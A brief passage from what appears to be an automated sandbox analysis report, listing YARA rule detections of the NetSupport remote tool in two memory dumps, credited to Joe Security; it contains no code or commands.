NetSupport remote tool, Source: 00000017.00000002.1295456808.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security